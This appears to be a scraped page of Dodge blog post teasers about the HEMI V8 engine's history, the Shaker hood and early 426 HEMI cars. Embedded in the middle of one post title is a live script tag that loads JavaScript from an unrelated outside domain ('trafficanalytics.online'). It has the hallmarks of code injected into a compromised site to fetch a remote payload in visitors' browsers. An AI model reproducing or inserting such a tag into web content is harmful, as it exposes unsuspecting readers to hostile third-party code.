From Elephant to Hellcat: The evolution of the HEMI® engine range from 426 to 707

Few badges inspire as much lore as “HEMI®” V8. From its days stuffed inside a Dodge Coronet cruising Main Street in the glory days of the muscle car, the HEMI engine has thrilled generations with its power, torque and signature orange paint. But even though a HEMI engine of some form has been in production since the early ‘50s, its popularity didn’t really take off until 1964, when the 426 was unveiled. 
 

1968 426 HEMI V8 Cutaway 

The 426 HEMI V8…

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From Elephant to Hellcat: The evolution of the HEMI® engine range from 426 to 707

Shake, Rattle and Roll – The history of the IQECAG (a.k.a. the Shaker hood)

If you’ll harken back to your middle school science class with me for a second, you’ll remember that in order to make fire, you need three ingredients: fuel, ignition and air – or, more specifically, oxygen. You’ll also remember that cold air is denser than hot air, putting more oxygen in the same amount of volume. While the modern internal combustion engine does a fine job of delivering fuel and ignition, that cold air part becomes tricky as…

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Shake, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> Rattle and Roll – The history of the IQECAG (a.k.a. the Shaker hood)

Strong-Arming the HEMI® Engine: 1964 and 1965 HEMI Drivers Got an Added Workout!

By Steve Magnante

 

As we celebrate 50 years of 426 HEMI® engine power, let’s remember that Chrysler Corp. actually created three distinct generations of this fabled dome-head power plant. The first generation appeared in Chrysler vehicles in 1951 and — with unique variations for use in Dodge and DeSoto models — was offered through the 1958 model run. The second generation is the one racers love. That’s the mighty 426 HEMI engine of the 1964–1971 era.

 

Of course, the third generation of the HEMI engine is what’s driving so much excitement at Dodge these days….

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Strong-Arming the HEMI® Engine: 1964 and 1965 HEMI Drivers Got an Added Workout!